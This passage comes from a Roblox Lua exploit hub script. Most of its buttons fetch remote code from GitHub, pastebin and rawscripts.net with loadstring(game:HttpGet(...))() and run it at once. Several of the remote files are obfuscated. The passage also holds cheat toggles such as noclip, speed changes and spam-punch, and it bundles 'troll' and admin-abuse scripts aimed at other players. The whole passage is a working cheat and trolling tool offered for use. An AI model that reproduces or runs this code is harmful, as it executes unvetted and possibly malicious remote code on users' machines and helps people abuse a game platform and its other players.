LAction("speed", Saved.WalkSpeed)
elseif States.Running then
if not (LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed == Saved.RunSpeed) then
LAction("speed", Saved.RunSpeed)
end
end
if States.IsHoldingF then
if Toggles.SpamPunch then
task.wait();VirtualPunch()
end
end
if Toggles.Noclip then
for i,v in pairs(LocalPlayer.Character:GetChildren()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
end
end
while wait() do
game:GetService('StarterGui'):SetCoreGuiEnabled('Backpack', true)
if States.RemoveLeaderboard then
game:GetService('StarterGui'):SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false)
end
pcall(task0)
if next(CmdQueue) then
if not SavedArgs.QueueExecuted then
SavedArgs.QueueExecuted = true
coroutine.wrap(function()
for i, execute in next, CmdQueue do
pcall(execute);wait()
CmdQueue[i] = nil;table.remove(CmdQueue, i)
end;SavedArgs.QueueExecuted = nil
end)()
end
end
if Unloaded then
break
end
end
end)
end;
task.spawn(C_56);
return G2L["1"], require;
end,
})
local Button = MainTab:CreateButton({
Name = "Chaos hub brookhaven",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Cat558-uz/Chaos-hub-/refs/heads/main/obfuscated_script-1753037381403.lua.txt"))()
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- Lista de moderadores permitidos
local Moderadores = {
["kit_cynALT"] = true,
["Juju_dupix1302"] = true,
}
-- Armazenar tags
local Tags = {}
local TagsAtivadas = true
-- Cria a tag acima da cabeça do jogador
local function CriarTag(player)
if not player.Character or not player.Character:FindFirstChild("Head") then return end
if Tags[player] then return end -- já tem tag
local head = player.Character.Head
local bill = Instance.new("BillboardGui")
bill.Name = "ModeradorTag"
bill.Adornee = head
bill.Size = UDim2.new(0, 150, 0, 35) -- Aumentado
bill.StudsOffset = Vector3.new(0, 3.9, 0)
bill.AlwaysOnTop = true
bill.MaxDistance = 30 -- Visível de perto
local frame = Instance.new("Frame")
frame.Size = UDim2.new(1, 0, 1, 0)
frame.BackgroundColor3 = Color3.new(0, 0, 0)
frame.BackgroundTransparency = 0.2
frame.BorderSizePixel = 0
frame.Parent = bill
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 8)
corner.Parent = frame
local label = Instance.new("TextLabel")
label.Size = UDim2.new(1, 0, 1, 0)
label.BackgroundTransparency = 1
label.Text = ".•° Moderador °○."
label.TextColor3 = Color3.fromRGB(100, 200, 255) -- Azul claro
label.TextScaled = true
label.Font = Enum.Font.GothamBold
label.Parent = frame
bill.Parent = head
Tags[player] = bill
end
-- Remove a tag de um jogador
local function RemoverTag(player)
if Tags[player] then
Tags[player]:Destroy()
Tags[player] = nil
end
end
-- Atualiza todas as tags com base em TagsAtivadas
local function AtualizarTags()
for _, plr in ipairs(Players:GetPlayers()) do
if Moderadores[plr.Name] then
if TagsAtivadas then
CriarTag(plr)
else
RemoverTag(plr)
end
end
end
end
-- Detecta quando o personagem aparecer
Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function()
wait(1)
if TagsAtivadas and Moderadores[player.Name] then
CriarTag(player)
end
end)
end)
-- Para os jogadores já existentes
for _, plr in ipairs(Players:GetPlayers()) do
plr.CharacterAdded:Connect(function()
wait(1)
if TagsAtivadas and Moderadores[plr.Name] then
CriarTag(plr)
end
end)
end
-- Comandos do chat
LocalPlayer.Chatted:Connect(function(msg)
msg = msg:lower()
if not Moderadores[LocalPlayer.Name] then return end
if msg == ";tag" then
TagsAtivadas = true
AtualizarTags()
elseif msg == ";untag" then
RemoverTag(LocalPlayer)
end
end)
-- Inicializa
AtualizarTags()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Cat558-uz/Add/refs/heads/main/obfuscated_script-1753064471386.lua.txt"))()
end,
})
local Button = MainTab:CreateButton({
Name = "c00lclan",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua", true))()
end,
})
local Button = MainTab:CreateButton({
Name = "BluuClan (op af)",
Callback = function()
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local PlayerGui = Player:WaitForChild("PlayerGui")
local UserInputService = game:GetService("UserInputService")
local GUI_WIDTH, GUI_HEIGHT = 400, 360
local TITLE_HEIGHT, NAV_HEIGHT, FOOTER_HEIGHT = 30, 30, 30
local BUTTON_HEIGHT, BUTTON_PADDING = 30, 5
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "C00lclanGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = PlayerGui
-- 📢 Notificación al cargar
local StarterGui = game:GetService("StarterGui")
StarterGui:SetCore("SendNotification", {
Title = "bluuclan v1",
Text = "welcome to bluuclan v1!",
Icon = "rbxassetid://87486058304609",
Duration = 5
})
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT)
mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2)
mainFrame.BackgroundColor3 = Color3.fromRGB(5, 5, 25)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- 🔹 Barra de título
local titleBar = Instance.new("Frame", mainFrame)
titleBar.Size = UDim2.new(1, 0, 0, TITLE_HEIGHT)
titleBar.BackgroundColor3 = Color3.fromRGB(0, 0, 60)
titleBar.BorderSizePixel = 0
local titleLabel = Instance.new("TextLabel", titleBar)
titleLabel.Size = UDim2.new(1, -30, 1, 0)
titleLabel.Position = UDim2.new(0, 4, 0, 0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "BLUUCLAN UI V1(created by bluududK4ng)"
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.TextSize = 18
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
local minBtn = Instance.new("TextButton", titleBar)
minBtn.Size = UDim2.new(0, 30, 1, 0)
minBtn.Position = UDim2.new(1, -30, 0, 0)
minBtn.Text = "_"
minBtn.Font = Enum.Font.SourceSansBold
minBtn.TextSize = 18
minBtn.TextColor3 = Color3.new(1, 1, 1)
minBtn.BackgroundColor3 = Color3.fromRGB(10, 10, 80)
minBtn.BorderSizePixel = 0
-- 🔹 Logo
local logo = Instance.new("ImageLabel")
logo.BackgroundTransparency = 1
logo.Size = UDim2.new(1, -20, 0, 80)
logo.Position = UDim2.new(0, 10, 0, TITLE_HEIGHT + 5)
logo.Image = "rbxassetid://87486058304609"
logo.ScaleType = Enum.ScaleType.Fit
logo.Parent = mainFrame
-- 🔹 Navegación por páginas
local navBar = Instance.new("Frame", mainFrame)
navBar.Size = UDim2.new(1, 0, 0, NAV_HEIGHT)
navBar.Position = UDim2.new(0, 0, 0, TITLE_HEIGHT + 85)
navBar.BackgroundColor3 = Color3.fromRGB(0, 0, 40)
navBar.BorderSizePixel = 0
local navButtons = {}
local function createNavButton(name, xPos, callback)
local btn = Instance.new("TextButton", navBar)
btn.Size = UDim2.new(0, 80, 1, 0)
btn.Position = UDim2.new(0, xPos, 0, 0)
btn.Text = name
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 14
btn.TextColor3 = Color3.new(1, 1, 1)
btn.BackgroundColor3 = Color3.fromRGB(10, 10, 80)
btn.BorderSizePixel = 0
btn.MouseButton1Click:Connect(callback)
navButtons[name] = btn
end
-- 🔹 Frame para botones con scroll
local buttonFrame = Instance.new("ScrollingFrame", mainFrame)
buttonFrame.Size = UDim2.new(1, -10, 0, GUI_HEIGHT - TITLE_HEIGHT - NAV_HEIGHT - FOOTER_HEIGHT - 95)
buttonFrame.Position = UDim2.new(0, 5, 0, TITLE_HEIGHT + NAV_HEIGHT + 90)
buttonFrame.BackgroundTransparency = 1
buttonFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
buttonFrame.ScrollBarThickness = 6
local UIGridLayout = Instance.new("UIGridLayout", buttonFrame)
UIGridLayout.FillDirection = Enum.FillDirection.Horizontal
UIGridLayout.CellSize = UDim2.new(0, 120, 0, BUTTON_HEIGHT)
UIGridLayout.CellPadding = UDim2.new(0, BUTTON_PADDING, 0, BUTTON_PADDING)
-- 🔹 Scripts por categoría
local pages = {
["All"] = {
{"Grab knife", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"},
{"JOHN DOE", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/John%20Doe.lua"},
{"C00lclan ui", "https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua"},
{"Infinity yield", "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"},
{"Hathub baseplant", "https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"},
{"Fly", "https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/main/FlyGuiV3.txt"},
{"Sword V3 baseplant", "https://raw.githubusercontent.com/SwordSimIsGood/Sword-SG/main/Swords%20FE%20Starmd"},
{"C00lexecutor", "https://raw.githubusercontent.com/rtlsmonk/c00lgui-made-by-rtls_a1-on-discord/refs/heads/main/have-fun"},
{"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"},
{"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"},
{"Zero Gravity v3", "https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/zerogravity"},
{"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"}
},
["FE"] = {
{"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"},
{"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"},
{"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"}
},
["Baseplant"] = {
{"Sword V3 baseplant", "https://raw.githubusercontent.com/SwordSimIsGood/Sword-SG/main/Swords%20FE%20Starmd"},
{"Hathub baseplant", "https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"},
{"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"},
{"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"},
{"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"}
},
["Trolls"] = {
{"Grab knife", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"},
{"JOHN DOE", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/John%20Doe.lua"},
{"C00lclan ui", "https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua"},
{"Infinity yield", "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"},
{"Zero Gravity v3", "https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/zerogravity"}
}
}
-- 🔹 Función para crear botones
local function loadPage(pageName)
buttonFrame:ClearAllChildren()
local layout = UIGridLayout:Clone()
layout.Parent = buttonFrame
for name, btn in pairs(navButtons) do
btn.BackgroundColor3 = (name == pageName) and Color3.fromRGB(40, 40, 120) or Color3.fromRGB(10, 10, 80)
end
for _, scriptData in ipairs(pages[pageName]) do
local button = Instance.new("TextButton")
button.Text = scriptData[1]
button.Font = Enum.Font.SourceSans
button.TextSize = 14
button.TextColor3 = Color3.new(1, 1, 1)
button.BackgroundColor3 = Color3.fromRGB(10, 10, 80)
button.BorderSizePixel = 0
button.Parent = buttonFrame
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet(scriptData[2], true))()
end)
end
buttonFrame.CanvasSize = UDim2.new(0, 0, 0, math.ceil(#pages[pageName] / 3) * (BUTTON_HEIGHT + BUTTON_PADDING))
end
-- 🔹 Crear botones de navegación
local navX = 0
for name, _ in pairs(pages) do
createNavButton(name, navX, function()
loadPage(name)
end)
navX = navX + 85
end
-- 🔹 Footer con texto y botón
local footer = Instance.new("Frame", mainFrame)
footer.Size = UDim2.new(1, 0, 0, FOOTER_HEIGHT)
footer.Position = UDim2.new(0, 0, 1, -FOOTER_HEIGHT)
footer.BackgroundTransparency = 1
local footerLabel = Instance.new("TextLabel", footer)
footerLabel.Size = UDim2.new(1, 0, 0.5, 0)
footerLabel.Position = UDim2.new(0, 0, 0, 0)
footerLabel.BackgroundTransparency = 1
footerLabel.Text = "Thanks for using bluuclan v1!"
footerLabel.Font = Enum.Font.SourceSansBold
footerLabel.TextSize = 14
footerLabel.TextColor3 = Color3.new(1, 1, 1)
footerLabel.TextStrokeTransparency = 0.8
local closeBtn = Instance.new("TextButton", footer)
closeBtn.Size = UDim2.new(1, 0, 0.5, 0)
closeBtn.Position = UDim2.new(0, 0, 0.5, 0)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 18
closeBtn.TextColor3 = Color3.new(1, 1, 1)
closeBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 100)
closeBtn.BorderSizePixel = 0
closeBtn.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
-- 🔹 Dragging
local dragging, dragInput, dragStart, startPos = false
titleBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
dragStart = input.Position
startPos = mainFrame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then dragging = false end
end)
end
end)
titleBar.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then dragInput = input end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
local delta = input.Position - dragStart
mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y)
end
end)
-- 🔹 Minimizar
local minimized = false
minBtn.MouseButton1Click:Connect(function()
minimized = not minimized
local visible = not minimized
buttonFrame.Visible = visible
navBar.Visible = visible
footer.Visible = visible
logo.Visible = visible
mainFrame.BackgroundTransparency = minimized and 1 or 0
minBtn.Text = minimized and "◻" or "-"
end)
-- 📌 Cargar página inicial
loadPage("All")
end,
})
local Button = MainTab:CreateButton({
Name = "c00lgui v3",
Callback = function()
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local PlayerGui = Player:WaitForChild("PlayerGui")
local UserInputService = game:GetService("UserInputService")
local GUI_WIDTH, GUI_HEIGHT = 400, 360
local TITLE_HEIGHT, NAV_HEIGHT, FOOTER_HEIGHT = 30, 30, 30
local BUTTON_HEIGHT, BUTTON_PADDING = 30, 5
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "C00lclanGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = PlayerGui
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT)
mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2)
mainFrame.BackgroundColor3 = Color3.fromRGB(25, 5, 5) -- rojo oscuro
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- 🔹 Barra de título
local titleBar = Instance.new("Frame", mainFrame)
titleBar.Size = UDim2.new(1, 0, 0, TITLE_HEIGHT)
titleBar.BackgroundColor3 = Color3.fromRGB(60, 0, 0) -- rojo oscuro
titleBar.BorderSizePixel = 0
local titleLabel = Instance.new("TextLabel", titleBar)
titleLabel.Size = UDim2.new(1, -30, 1, 0)
titleLabel.Position = UDim2.new(0, 4, 0, 0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "The c00lestGui V1"
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.TextSize = 18
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
local minBtn = Instance.new("TextButton", titleBar)
minBtn.Size = UDim2.new(0, 30, 1, 0)
minBtn.Position = UDim2.new(1, -30, 0, 0)
minBtn.Text = "_"
minBtn.Font = Enum.Font.SourceSansBold
minBtn.TextSize = 18
minBtn.TextColor3 = Color3.new(1, 1, 1)
minBtn.BackgroundColor3 = Color3.fromRGB(80, 10, 10) -- rojo oscuro
minBtn.BorderSizePixel = 0
-- 🔹 Logo
local logo = Instance.new("ImageLabel")
logo.BackgroundTransparency = 1
logo.Size = UDim2.new(1, -20, 0, 80)
logo.Position = UDim2.new(0, 10, 0, TITLE_HEIGHT + 5)
logo.Image = "rbxassetid://87486058304609"
logo.ScaleType = Enum.ScaleType.Fit
logo.Parent = mainFrame
-- 🔹 Navegación por páginas
local navBar = Instance.new("Frame", mainFrame)
navBar.Size = UDim2.new(1, 0, 0, NAV_HEIGHT)
navBar.Position = UDim2.new(0, 0, 0, TITLE_HEIGHT + 85)
navBar.BackgroundColor3 = Color3.fromRGB(40, 0, 0) -- rojo oscuro
navBar.BorderSizePixel = 0
local navButtons = {}
local function createNavButton(name, xPos, callback)
local btn = Instance.new("TextButton", navBar)
btn.Size = UDim2.new(0, 80, 1, 0)
btn.Position = UDim2.new(0, xPos, 0, 0)
btn.Text = name
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 14
btn.TextColor3 = Color3.new(1, 1, 1)
btn.BackgroundColor3 = Color3.fromRGB(80, 10, 10) -- rojo oscuro
btn.BorderSizePixel = 0
btn.MouseButton1Click:Connect(callback)
navButtons[name] = btn
end
-- 🔹 Frame para botones con scroll
local buttonFrame = Instance.new("ScrollingFrame", mainFrame)
buttonFrame.Size = UDim2.new(1, -10, 0, GUI_HEIGHT - TITLE_HEIGHT - NAV_HEIGHT - FOOTER_HEIGHT - 95)
buttonFrame.Position = UDim2.new(0, 5, 0, TITLE_HEIGHT + NAV_HEIGHT + 90)
buttonFrame.BackgroundTransparency = 1
buttonFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
buttonFrame.ScrollBarThickness = 6
local UIGridLayout = Instance.new("UIGridLayout", buttonFrame)
UIGridLayout.FillDirection = Enum.FillDirection.Horizontal
UIGridLayout.CellSize = UDim2.new(0, 120, 0, BUTTON_HEIGHT)
UIGridLayout.CellPadding = UDim2.new(0, BUTTON_PADDING, 0, BUTTON_PADDING)
local pages = {
["All"] = {
{"Grab knife", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"},
{"JOHN DOE", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/John%20Doe.lua"},
{"C00lclan ui", "https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua"},
{"Infinity yield", "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"},
{"Hathub baseplant", "https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"},
{"Fly", "https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/main/FlyGuiV3.txt"},
{"Sword V3 baseplant", "https://raw.githubusercontent.com/SwordSimIsGood/Sword-SG/main/Swords%20FE%20Starmd"},
{"C00lexecutor", "https://raw.githubusercontent.com/rtlsmonk/c00lgui-made-by-rtls_a1-on-discord/refs/heads/main/have-fun"},
{"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"},
{"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"},
{"Zero Gravity v3", "https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/zerogravity"},
{"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"}
},
["FE"] = {
{"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"},
{"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"},
{"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"}
},
["Baseplant"] = {
{"Sword V3 baseplant", "https://raw.githubusercontent.com/SwordSimIsGood/Sword-SG/main/Swords%20FE%20Starmd"},
{"Hathub baseplant", "https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"},
{"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"},
{"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"},
{"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"}
},
["Trolls"] = {
{"Grab knife", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"},
{"JOHN DOE", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/John%20Doe.lua"},
{"C00lclan ui", "https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua"},
{"Infinity yield", "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"},
{"Zero Gravity v3", "https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/zerogravity"}
}
}
local function loadPage(pageName)
for _, child in ipairs(buttonFrame:GetChildren()) do
if child:IsA("TextButton") then
child:Destroy()
end
end
for name, btn in pairs(navButtons) do
if name == pageName then
btn.BackgroundColor3 = Color3.fromRGB(120, 40, 40) -- activo
else
btn.BackgroundColor3 = Color3.fromRGB(80, 10, 10)
end
end
for _, scriptData in ipairs(pages[pageName]) do
local button = Instance.new("TextButton")
button.Text = scriptData[1]
button.Font = Enum.Font.SourceSans
button.TextSize = 14
button.TextColor3 = Color3.new(1, 1, 1)
button.BackgroundColor3 = Color3.fromRGB(80, 10, 10)
button.BorderSizePixel = 0
button.Parent = buttonFrame
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet(scriptData[2], true))()
end)
end
buttonFrame.CanvasSize = UDim2.new(0, 0, 0, math.ceil(#pages[pageName] / 3) * (BUTTON_HEIGHT + BUTTON_PADDING))
end
local navX = 0
for name, _ in pairs(pages) do
createNavButton(name, navX, function()
loadPage(name)
end)
navX = navX + 85
end
local footer = Instance.new("Frame", mainFrame)
footer.Size = UDim2.new(1, 0, 0, FOOTER_HEIGHT)
footer.Position = UDim2.new(0, 0, 1, -FOOTER_HEIGHT)
footer.BackgroundTransparency = 1
local closeBtn = Instance.new("TextButton", footer)
closeBtn.Size = UDim2.new(1, 0, 1, 0)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 18
closeBtn.TextColor3 = Color3.new(1, 1, 1)
closeBtn.BackgroundColor3 = Color3.fromRGB(100, 0, 0) -- rojo intenso
closeBtn.BorderSizePixel = 0
closeBtn.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
local dragging, dragInput, dragStart, startPos = false
titleBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
dragStart = input.Position
startPos = mainFrame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then dragging = false end
end)
end
end)
titleBar.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then dragInput = input end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
local delta = input.Position - dragStart
mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y)
end
end)
local minimized = false
minBtn.MouseButton1Click:Connect(function()
minimized = not minimized
local visible = not minimized
buttonFrame.Visible = visible
navBar.Visible = visible
footer.Visible = visible
logo.Visible = visible
mainFrame.BackgroundTransparency = minimized and 1 or 0
minBtn.Text = minimized and "◻" or "-"
end)
loadPage("All")
end,
})
local Button = MainTab:CreateButton({
Name = "c00lgui v4",
Callback = function()
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "C00LKING_GUI"
screenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 500, 0, 400)
mainFrame.Position = UDim2.new(0.5, -250, 0.5, -200)
mainFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
mainFrame.BorderColor3 = Color3.fromRGB(120, 0, 0)
mainFrame.BorderSizePixel = 4
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui
-- Título
local title = Instance.new("TextLabel")
title.Text = "C00LKING GUI"
title.Size = UDim2.new(1, -40, 0, 40)
title.BackgroundColor3 = Color3.fromRGB(120, 0, 0)
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.Font = Enum.Font.SourceSansBold
title.TextSize = 22
title.TextXAlignment = Enum.TextXAlignment.Left
title.Parent = mainFrame
-- Botón cerrar
local closeButton = Instance.new("TextButton")
closeButton.Text = "X"
closeButton.Size = UDim2.new(0, 40, 0, 40)
closeButton.Position = UDim2.new(1, -40, 0, 0)
closeButton.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
closeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
closeButton.Font = Enum.Font.SourceSansBold
closeButton.TextSize = 20
closeButton.Parent = mainFrame
closeButton.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
-- Función para botones
local function createButton(name, posX, posY, callback)
local button = Instance.new("TextButton")
button.Text = name
button.Size = UDim2.new(0, 140, 0, 50)
button.Position = UDim2.new(0, posX, 0, posY)
button.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
button.TextColor3 = Color3.fromRGB(255, 255, 255)
button.Font = Enum.Font.SourceSansBold
button.TextSize = 18
button.Parent = mainFrame
button.MouseButton1Click:Connect(callback)
end
-- Línea divisoria
local function createDivider(posY)
local line = Instance.new("Frame")
line.Size = UDim2.new(1, 0, 0, 4)
line.Position = UDim2.new(0, 0, 0, posY)
line.BackgroundColor3 = Color3.fromRGB(120, 0, 0)
line.BorderSizePixel = 0
line.Parent = mainFrame
end
-- Sección 1
createButton("c00lgui", 30, 60, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
createButton("C00lexecutor", 180, 60, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
createButton("C00lclanv1", 330, 60, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
createDivider(120)
-- Sección 2
createButton("Caducus", 30, 140, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
createButton("Server admin", 180, 140, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
createButton("John doe", 330, 140, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
createDivider(200)
-- Sección 3
createButton("Keyboard", 30, 220, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
createButton("Ban hammer", 180, 220, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
createButton("Lalol hub", 330, 220, function()
loadstring(game:HttpGet("https://rawscripts.net..."))()
end)
end,
})
local Button = MainTab:CreateButton({
Name = "random ui",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/h2Wv1Azz"))()
end,
})
local Button = MainTab:CreateButton({
Name = "c00lgui v5",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/J677rE7A"))();
end,
})
local Button = MainTab:CreateButton({
Name = "N0tGUI",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/Cz3xbk8h"))()
end,
})
local Button = MainTab:CreateButton({
Name = "R6",
Callback = function()
-- Made by Izekai
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local R6 = Instance.new("TextButton")
local TextButton = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
R6.Name = "R6"
R6.Parent = ScreenGui
R6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
R6.Position = UDim2.new(-0.000343383319, 0, 0.32815966, 0)
R6.Size = UDim2.new(0, 29, 0, 29)
R6.Font = Enum.Font.SourceSans
R6.Text = "R6"
R6.TextColor3 = Color3.fromRGB(0, 0, 0)
R6.TextSize = 14.000
R6.MouseButton1Down:connect(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))()
end)
TextButton.Parent = ScreenGui
TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton.Position = UDim2.new(0, 0, 0.414634138, 0)
TextButton.Size = UDim2.new(0, 72, 0, 27)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "Respawn"
TextButton.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton.TextSize = 14.000
TextButton.MouseButton1Down:connect(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/ukFZuXbb'),true))()
end)
end,
})
local Button = MainTab:CreateButton({
Name = "versus ( u nead to be R6 )",
Callback = function()
loadstring(game:HttpGet('https://pastebin.com/raw/wC64LrAJ',true))()
end,
})
local Button = MainTab:CreateButton({
Name = "bluudud executor",
Callback = function()
local player = game.Players.LocalPlayer
-- GUI principal
local gui = Instance.new("ScreenGui")
gui.Name = "CustomExecutor"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Ventana principal (más pequeña y semi-transparente)
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 240)
mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BackgroundTransparency = 0.3
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui
-- Título
local title = Instance.new("TextLabel")
